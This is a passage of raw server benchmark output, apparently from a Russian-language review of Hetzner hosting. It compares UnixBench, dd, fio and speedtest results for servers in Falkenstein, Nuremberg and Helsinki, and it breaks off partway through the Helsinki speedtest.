Shell Scripts (1 concurrent) 42.4 6427.6 1515.9
Shell Scripts (8 concurrent) 6.0 784.8 1308.0
System Call Overhead 15000.0 378836.2 252.6
========
System Benchmarks Index Score 817.1
```
**dd (Германия, Фалькенштейн)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.1357 s, 685 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 2.41475 s, 889 MB/s
```
**dd (Германия, Нюрнберг)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 4.34572 s, 494 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 61.8634 s, 34.7 MB/s
```
**dd (Финляндия, Хельсинки)**Блоками по 1M
```
2048+0 records in
2048+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 3.91158 s, 549 MB/s
```
Блоками по 64K
```
32768+0 records in
32768+0 records out
2147483648 bytes (2.1 GB, 2.0 GiB) copied, 561.943 s, 3.8 MB/s
```
**fio (Германия, Фалькенштейн)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=27954: Wed Dec 4 18:13:32 2019
read : io=12935MB, bw=220758KB/s, iops=55189, runt= 60001msec
clat (usec): min=1, max=15276, avg=138.82, stdev=194.23
lat (usec): min=2, max=15277, avg=139.89, stdev=194.55
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 68], 60.00th=[ 189],
| 70.00th=[ 215], 80.00th=[ 251], 90.00th=[ 326], 95.00th=[ 414],
| 99.00th=[ 660], 99.50th=[ 812], 99.90th=[ 2192], 99.95th=[ 3056],
| 99.99th=[ 4448]
bw (KB /s): min=13160, max=52192, per=12.50%, avg=27592.76, stdev=9637.34
lat (usec) : 2=0.13%, 4=41.65%, 10=6.64%, 20=1.32%, 50=0.21%
lat (usec) : 100=0.19%, 250=29.76%, 500=17.46%, 750=1.99%, 1000=0.37%
lat (msec) : 2=0.18%, 4=0.09%, 10=0.02%, 20=0.01%
cpu : usr=2.75%, sys=7.24%, ctx=1708991, majf=2, minf=110
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=3311429/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=12935MB, aggrb=220758KB/s, minb=220758KB/s, maxb=220758KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1641059/31, merge=0/26, ticks=326344/444, in_queue=326668, util=97.95%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=27993: Wed Dec 4 18:15:39 2019
write: io=30828MB, bw=526046KB/s, iops=131511, runt= 60009msec
clat (usec): min=1, max=72109, avg=40.58, stdev=834.02
lat (usec): min=2, max=72109, avg=44.54, stdev=898.63
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 4],
| 99.00th=[ 8], 99.50th=[ 12], 99.90th=[15936], 99.95th=[20096],
| 99.99th=[31104]
bw (KB /s): min= 1, max=80631, per=12.58%, avg=66166.54, stdev=7286.63
lat (usec) : 2=0.01%, 4=74.79%, 10=24.56%, 20=0.28%, 50=0.05%
lat (usec) : 100=0.02%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.02%, 10=0.08%, 20=0.11%, 50=0.06%
lat (msec) : 100=0.01%
cpu : usr=4.73%, sys=6.73%, ctx=50571, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=7891869/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=30828MB, aggrb=526045KB/s, minb=526045KB/s, maxb=526045KB/s, mint=60009msec, maxt=60009msec
Disk stats (read/write):
sda: ios=527/424265, merge=89/1974, ticks=692/2002184, in_queue=2002388, util=27.50%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=27977: Wed Dec 4 18:14:37 2019
read : io=7711.1MB, bw=131613KB/s, iops=32903, runt= 60002msec
clat (usec): min=61, max=10698, avg=237.50, stdev=110.59
lat (usec): min=62, max=10706, avg=238.41, stdev=110.73
clat percentiles (usec):
| 1.00th=[ 117], 5.00th=[ 141], 10.00th=[ 157], 20.00th=[ 177],
| 30.00th=[ 191], 40.00th=[ 201], 50.00th=[ 213], 60.00th=[ 227],
| 70.00th=[ 245], 80.00th=[ 274], 90.00th=[ 342], 95.00th=[ 418],
| 99.00th=[ 612], 99.50th=[ 724], 99.90th=[ 1144], 99.95th=[ 1608],
| 99.99th=[ 2928]
bw (KB /s): min= 8408, max=19592, per=12.50%, avg=16453.29, stdev=2036.10
lat (usec) : 100=0.10%, 250=71.70%, 500=25.83%, 750=1.95%, 1000=0.28%
lat (msec) : 2=0.11%, 4=0.03%, 10=0.01%, 20=0.01%
cpu : usr=2.15%, sys=6.16%, ctx=1978828, majf=0, minf=80
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1974259/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7711.1MB, aggrb=131612KB/s, minb=131612KB/s, maxb=131612KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
sda: ios=1969675/13, merge=0/7, ticks=379064/4, in_queue=378660, util=99.83%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=28016: Wed Dec 4 18:16:39 2019
write: io=1513.9MB, bw=25834KB/s, iops=6458, runt= 60005msec
clat (usec): min=71, max=55895, avg=1232.03, stdev=6253.29
lat (usec): min=71, max=55898, avg=1233.17, stdev=6253.36
clat percentiles (usec):
| 1.00th=[ 83], 5.00th=[ 87], 10.00th=[ 92], 20.00th=[ 99],
| 30.00th=[ 106], 40.00th=[ 114], 50.00th=[ 125], 60.00th=[ 143],
| 70.00th=[ 163], 80.00th=[ 191], 90.00th=[ 249], 95.00th=[ 362],
| 99.00th=[39168], 99.50th=[42240], 99.90th=[46336], 99.95th=[47872],
| 99.99th=[51456]
bw (KB /s): min= 660, max= 4936, per=12.51%, avg=3231.59, stdev=699.18
lat (usec) : 100=20.10%, 250=70.08%, 500=6.16%, 750=0.58%, 1000=0.05%
lat (msec) : 2=0.03%, 4=0.02%, 10=0.01%, 20=0.01%, 50=2.97%
lat (msec) : 100=0.02%
cpu : usr=0.64%, sys=2.58%, ctx=787097, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=387547/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=1513.9MB, aggrb=25834KB/s, minb=25834KB/s, maxb=25834KB/s, mint=60005msec, maxt=60005msec
Disk stats (read/write):
sda: ios=680/387270, merge=0/1946, ticks=836/48344, in_queue=49052, util=80.31%
```
**fio (Германия, Нюрнберг)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=4283: Wed Dec 4 18:14:01 2019
read : io=10029MB, bw=171161KB/s, iops=42790, runt= 60001msec
clat (usec): min=1, max=50938, avg=181.05, stdev=348.78
lat (usec): min=2, max=50938, avg=182.04, stdev=349.01
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 4], 10.00th=[ 5], 20.00th=[ 6],
| 30.00th=[ 7], 40.00th=[ 9], 50.00th=[ 157], 60.00th=[ 203],
| 70.00th=[ 243], 80.00th=[ 302], 90.00th=[ 426], 95.00th=[ 564],
| 99.00th=[ 988], 99.50th=[ 1272], 99.90th=[ 2928], 99.95th=[ 3888],
| 99.99th=[12608]
bw (KB /s): min=12264, max=34672, per=12.51%, avg=21413.37, stdev=6618.44
lat (usec) : 2=0.01%, 4=4.65%, 10=35.58%, 20=6.15%, 50=1.07%
lat (usec) : 100=0.10%, 250=24.16%, 500=21.47%, 750=4.58%, 1000=1.27%
lat (msec) : 2=0.78%, 4=0.14%, 10=0.03%, 20=0.02%, 50=0.01%
lat (msec) : 100=0.01%
cpu : usr=2.19%, sys=8.10%, ctx=1364825, majf=2, minf=95
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2567457/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=10029MB, aggrb=171160KB/s, minb=171160KB/s, maxb=171160KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1337530/8, merge=0/4, ticks=280012/0, in_queue=279880, util=97.89%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=4309: Wed Dec 4 18:16:07 2019
write: io=30705MB, bw=523948KB/s, iops=130987, runt= 60010msec
clat (usec): min=1, max=76630, avg=41.59, stdev=835.90
lat (usec): min=2, max=82084, avg=45.14, stdev=893.25
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 5],
| 99.00th=[ 8], 99.50th=[ 13], 99.90th=[16064], 99.95th=[20096],
| 99.99th=[30080]
bw (KB /s): min= 1, max=83288, per=12.63%, avg=66191.01, stdev=7467.72
lat (usec) : 2=0.01%, 4=69.29%, 10=29.98%, 20=0.36%, 50=0.04%
lat (usec) : 100=0.02%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.02%, 10=0.08%, 20=0.11%, 50=0.06%
lat (msec) : 100=0.01%
cpu : usr=4.42%, sys=7.05%, ctx=56571, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=7860536/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=30705MB, aggrb=523948KB/s, minb=523948KB/s, maxb=523948KB/s, mint=60010msec, maxt=60010msec
Disk stats (read/write):
sda: ios=138/439786, merge=0/1844, ticks=132/2046436, in_queue=2045992, util=28.66%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=4296: Wed Dec 4 18:15:06 2019
read : io=7458.3MB, bw=127281KB/s, iops=31820, runt= 60003msec
clat (usec): min=62, max=19424, avg=245.43, stdev=172.33
lat (usec): min=62, max=19425, avg=246.39, stdev=172.54
clat percentiles (usec):
| 1.00th=[ 122], 5.00th=[ 143], 10.00th=[ 155], 20.00th=[ 171],
| 30.00th=[ 183], 40.00th=[ 197], 50.00th=[ 211], 60.00th=[ 229],
| 70.00th=[ 251], 80.00th=[ 290], 90.00th=[ 370], 95.00th=[ 458],
| 99.00th=[ 700], 99.50th=[ 836], 99.90th=[ 1528], 99.95th=[ 2192],
| 99.99th=[ 6304]
bw (KB /s): min=12104, max=19336, per=12.50%, avg=15914.07, stdev=1323.40
lat (usec) : 100=0.04%, 250=69.70%, 500=26.60%, 750=2.89%, 1000=0.50%
lat (msec) : 2=0.21%, 4=0.03%, 10=0.02%, 20=0.01%
cpu : usr=2.11%, sys=6.34%, ctx=1914023, majf=0, minf=66
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1909305/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7458.3MB, aggrb=127280KB/s, minb=127280KB/s, maxb=127280KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
sda: ios=1904100/8, merge=0/5, ticks=362412/0, in_queue=362124, util=99.79%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=4323: Wed Dec 4 18:17:08 2019
write: io=1437.8MB, bw=24535KB/s, iops=6133, runt= 60006msec
clat (usec): min=59, max=78562, avg=1296.69, stdev=6139.93
lat (usec): min=60, max=78563, avg=1297.96, stdev=6140.01
clat percentiles (usec):
| 1.00th=[ 71], 5.00th=[ 75], 10.00th=[ 79], 20.00th=[ 88],
| 30.00th=[ 100], 40.00th=[ 114], 50.00th=[ 131], 60.00th=[ 151],
| 70.00th=[ 173], 80.00th=[ 207], 90.00th=[ 290], 95.00th=[ 470],
| 99.00th=[35584], 99.50th=[39168], 99.90th=[45824], 99.95th=[48896],
| 99.99th=[55552]
bw (KB /s): min= 718, max= 5150, per=12.50%, avg=3067.24, stdev=665.86
lat (usec) : 100=29.91%, 250=56.93%, 500=8.50%, 750=0.97%, 1000=0.13%
lat (msec) : 2=0.07%, 4=0.02%, 10=0.02%, 20=0.02%, 50=3.39%
lat (msec) : 100=0.04%
cpu : usr=0.72%, sys=2.84%, ctx=749031, majf=0, minf=73
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=368068/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=1437.8MB, aggrb=24535KB/s, minb=24535KB/s, maxb=24535KB/s, mint=60006msec, maxt=60006msec
Disk stats (read/write):
sda: ios=418/367714, merge=0/2000, ticks=376/46720, in_queue=46952, util=77.54%
```
**fio (Финляндия, Хельсинки)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=16484: Wed Dec 4 18:23:39 2019
read : io=9472.7MB, bw=161663KB/s, iops=40415, runt= 60001msec
clat (usec): min=1, max=134988, avg=191.81, stdev=499.59
lat (usec): min=2, max=134989, avg=192.84, stdev=499.98
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 4], 20.00th=[ 6],
| 30.00th=[ 8], 40.00th=[ 10], 50.00th=[ 157], 60.00th=[ 207],
| 70.00th=[ 249], 80.00th=[ 318], 90.00th=[ 458], 95.00th=[ 612],
| 99.00th=[ 1064], 99.50th=[ 1368], 99.90th=[ 3280], 99.95th=[ 4320],
| 99.99th=[15424]
bw (KB /s): min= 2974, max=37808, per=12.49%, avg=20198.33, stdev=6446.07
lat (usec) : 2=0.01%, 4=8.45%, 10=31.44%, 20=6.28%, 50=1.26%
lat (usec) : 100=0.06%, 250=22.59%, 500=21.67%, 750=5.44%, 1000=1.60%
lat (msec) : 2=0.99%, 4=0.14%, 10=0.05%, 20=0.02%, 50=0.01%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=2.26%, sys=8.06%, ctx=1284108, majf=2, minf=113
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2424986/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=9472.7MB, aggrb=161663KB/s, minb=161663KB/s, maxb=161663KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
sda: ios=1264059/8, merge=0/4, ticks=269492/0, in_queue=269092, util=97.51%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=16510: Wed Dec 4 18:25:44 2019
write: io=27890MB, bw=475947KB/s, iops=118986, runt= 60006msec
clat (usec): min=1, max=124945, avg=46.69, stdev=899.56
lat (usec): min=2, max=124946, avg=50.31, stdev=954.85
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 4], 60.00th=[ 4],
| 70.00th=[ 4], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 5],
| 99.00th=[ 10], 99.50th=[ 18], 99.90th=[16064], 99.95th=[20608],
| 99.99th=[31104]
bw (KB /s): min= 1, max=75300, per=12.61%, avg=59998.47, stdev=7600.10
lat (usec) : 2=0.01%, 4=49.88%, 10=48.95%, 20=0.69%, 50=0.11%
lat (usec) : 100=0.03%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.02%, 10=0.09%, 20=0.13%, 50=0.07%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.33%, sys=7.01%, ctx=51459, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=7139920/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=27890MB, aggrb=475947KB/s, minb=475947KB/s, maxb=475947KB/s, mint=60006msec, maxt=60006msec
Disk stats (read/write):
sda: ios=76/415614, merge=61/1682, ticks=120/1827512, in_queue=1827116, util=26.02%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=16497: Wed Dec 4 18:24:44 2019
read : io=6984.9MB, bw=119201KB/s, iops=29800, runt= 60003msec
clat (usec): min=67, max=20518, avg=261.82, stdev=203.48
lat (usec): min=67, max=20518, avg=262.86, stdev=203.69
clat percentiles (usec):
| 1.00th=[ 119], 5.00th=[ 141], 10.00th=[ 153], 20.00th=[ 173],
| 30.00th=[ 187], 40.00th=[ 203], 50.00th=[ 219], 60.00th=[ 239],
| 70.00th=[ 266], 80.00th=[ 314], 90.00th=[ 418], 95.00th=[ 524],
| 99.00th=[ 772], 99.50th=[ 916], 99.90th=[ 1816], 99.95th=[ 3088],
| 99.99th=[ 7904]
bw (KB /s): min=10992, max=18064, per=12.50%, avg=14901.36, stdev=1197.05
lat (usec) : 100=0.05%, 250=64.41%, 500=29.73%, 750=4.67%, 1000=0.78%
lat (msec) : 2=0.28%, 4=0.05%, 10=0.03%, 20=0.01%, 50=0.01%
cpu : usr=2.08%, sys=6.62%, ctx=1793721, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1788109/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=6984.9MB, aggrb=119201KB/s, minb=119201KB/s, maxb=119201KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
sda: ios=1785701/10, merge=0/6, ticks=352024/0, in_queue=351460, util=99.73%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=16523: Wed Dec 4 18:26:45 2019
write: io=1400.5MB, bw=23899KB/s, iops=5974, runt= 60003msec
clat (usec): min=60, max=100206, avg=1331.72, stdev=6337.35
lat (usec): min=61, max=100207, avg=1332.97, stdev=6337.58
clat percentiles (usec):
| 1.00th=[ 72], 5.00th=[ 78], 10.00th=[ 83], 20.00th=[ 92],
| 30.00th=[ 102], 40.00th=[ 116], 50.00th=[ 133], 60.00th=[ 151],
| 70.00th=[ 175], 80.00th=[ 211], 90.00th=[ 302], 95.00th=[ 466],
| 99.00th=[36608], 99.50th=[39168], 99.90th=[47360], 99.95th=[54528],
| 99.99th=[72192]
bw (KB /s): min= 809, max= 4445, per=12.50%, avg=2986.79, stdev=509.90
lat (usec) : 100=27.73%, 250=58.01%, 500=9.62%, 750=0.92%, 1000=0.13%
lat (msec) : 2=0.09%, 4=0.04%, 10=0.03%, 20=0.01%, 50=3.36%
lat (msec) : 100=0.07%, 250=0.01%
cpu : usr=0.71%, sys=2.72%, ctx=729250, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=358505/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=1400.5MB, aggrb=23899KB/s, minb=23899KB/s, maxb=23899KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
sda: ios=138/358207, merge=0/2164, ticks=168/47172, in_queue=47212, util=78.36%
```
**Speedtest (Германия, Фалькенштейн)**
```
Retrieving speedtest.net configuration...
Testing from Hetzner Online GmbH (78.47.44.61)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by noris network AG (Nuremberg) [8.42 km]: 4.678 ms
Testing download speed................................................................................
Download: 1188.20 Mbit/s
Testing upload speed................................................................................................
Upload: 1315.40 Mbit/s
```
**Speedtest (Германия, Нюрнберг)**
```
Retrieving speedtest.net configuration...
Testing from Hetzner Online GmbH (88.99.185.76)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Gemeindewerke Numbrecht GmbH (Numbrecht) [143.00 km]: 10.404 ms
Testing download speed................................................................................
Download: 781.57 Mbit/s
Testing upload speed................................................................................................
Upload: 487.99 Mbit/s
```
**Speedtest (Финляндия, Хельсинки)**
```
Retrieving speedtest.net configuration...
Testing from Hetzner Online GmbH (95.217.11.133)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
